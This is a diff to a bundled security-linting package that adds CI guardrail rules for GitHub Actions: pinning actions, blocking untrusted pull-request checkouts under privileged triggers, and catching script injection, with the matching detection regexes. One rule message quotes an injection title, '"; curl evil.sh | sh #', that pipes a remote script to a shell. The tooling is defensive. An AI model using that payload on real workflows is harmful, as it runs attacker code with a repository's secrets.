+        message: "This workflow runs on `pull_request_target` or `workflow_run`, which carry the base repository's secrets and a write token, and it checks out the pull request's own code. Any build, install or test step that follows runs code a fork author wrote, with those secrets (a \"pwn request\"). Run the untrusted code under `pull_request` (no secrets, read-only token) and, if a privileged step is needed, pass it only data through an artifact that the `workflow_run` job reads without executing. Mark the line `enigma:allow-untrusted-checkout` when the checked-out files are only read as data and nothing from them is executed or installed (ci-policy).",
+        severity: "block",
+        skill: "ci-policy"
+      },
+      {
+        id: "ci-script-injection",
+        label: "Untrusted event text never reaches a script directly",
+        files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
+        scope: "file",
+        fileCheck: "ci-script-injection",
+        message: 'This script interpolates text that anyone who opens an issue or pull request controls (a title, body, comment, branch name or commit message) with `${{ }}`. Actions substitutes it into the script BEFORE the shell or JavaScript runs, so a title like `"; curl evil.sh | sh #` becomes code with the job\'s token and secrets. Pass it through an environment variable and quote it: `env: TITLE: ${{ github.event.issue.title }}` then `"$TITLE"` in the script (or `process.env.TITLE` in github-script) (ci-policy).',
+        severity: "block",
+        skill: "ci-policy"
+      },
       {
         id: "sec-secret-compare-timing",
         label: "Secrets are compared in constant time",
@@ -5142,6 +5260,9 @@ var init_guardrails = __esm({
       "sec-markdown-html-unsanitized": (content) => unsanitizedMarkdownHtml(content),
       "fe-radix-overlay-no-portal": (content) => radixContentWithoutPortal(content),
       "sec-ssh-host-key-unverified": (content) => unverifiedSshHostKey(content),
+      "ci-action-unpinned": (content) => unpinnedWorkflowAction(content),
+      "ci-untrusted-checkout": (content) => untrustedCheckout(content),
+      "ci-script-injection": (content) => untrustedTextInScript(content),
       "sec-secret-compare-timing": (content, file) => timingUnsafeSecretCompare(content, file),
       "sec-redirect-prefix-check": (content, file) => redirectPrefixCheck(content, file),
       "sec-open-redirect-from-input": (content, file) => redirectFromInput(content, file),
@@ -5336,6 +5457,16 @@ var init_guardrails = __esm({
       /\bknown_hosts\s*=\s*None\s*[,)]/,
       /\bssh\.InsecureIgnoreHostKey\s*\(/
     ];
+    ACTION_USES = /^\s*(?:-\s+)?uses:\s*["']?([^\s"'#]+)/;
+    FULL_SHA = /^[0-9a-f]{40}$/i;
+    IMAGE_DIGEST = /@sha256:[0-9a-f]{64}$/i;
+    PRIVILEGED_TRIGGER = /\b(?:pull_request_target|workflow_run)\b/;
+    PR_HEAD_REF = /\$\{\{[^}]*\b(?:github\.event\.pull_request\.(?:head\.(?:sha|ref)|merge_commit_sha)|github\.head_ref|github\.event\.workflow_run\.head_(?:sha|branch))\b|refs\/pull\/(?:\$\{\{[^}]*\}\}|[^\s"'/]+)\/(?:head|merge)\b/;
+    CHECKOUT_SITE = /^\s*(?:-\s+)?ref:|\bgit\s+(?:fetch|checkout|switch|pull|worktree)\b|\bgh\s+pr\s+checkout\b/;
+    SAME_REPO_GUARD = /\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\s*==\s*github\.repository\b|\bgithub\.repository\s*==\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\b|\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\s*==\s*false\b|!\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\b(?!\s*==)/;
+    UNTRUSTED_EVENT_TEXT = /\$\{\{[^}]*?\b(github\.head_ref|github\.event\.(?:issue|pull_request|discussion)\.(?:title|body)|github\.event\.(?:comment|review|review_comment)\.body|github\.event\.pages\b[^}]*?\.page_name|github\.event\.head_commit\.(?:message|author\.(?:email|name))|github\.event\.commits\b[^}]*?\.(?:message|author\.(?:email|name))|github\.event\.pull_request\.head\.(?:ref|label|repo\.default_branch)|github\.event\.workflow_run\.(?:head_branch|display_title|head_commit\.message))\b/;
+    SCRIPT_KEY = /^(\s*)(-\s+)?(?:run|script):\s*(.*)$/;
+    BLOCK_SCALAR = /^[|>][-+0-9]*\s*(?:#.*)?$/;
     OPERAND_BEFORE = /((?:`[^`]*`)|[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)\s*$/;
     OPERAND_AFTER = /^\s*((?:`[^`]*`)|(?:await\s+)?[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)/;
     LITERAL_OPERAND = /^(?:null|undefined|true|false|None|True|False|NaN|\d[\w.]*|["'][^"']*["']|`[^`$]*`)$/;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "enigma-cli",
-  "version": "1.61.3",
+  "version": "1.62.0",
   "description": "Everything you need to work with a coding agent: install shared policy skills for Claude Code, OpenAI Codex and opencode, and set up portable git security hooks.",
   "type": "module",
   "bin": {